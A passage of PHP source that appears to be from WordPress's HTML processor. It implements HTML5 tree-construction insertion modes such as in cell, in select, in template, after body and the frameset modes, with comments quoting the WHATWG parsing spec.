				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
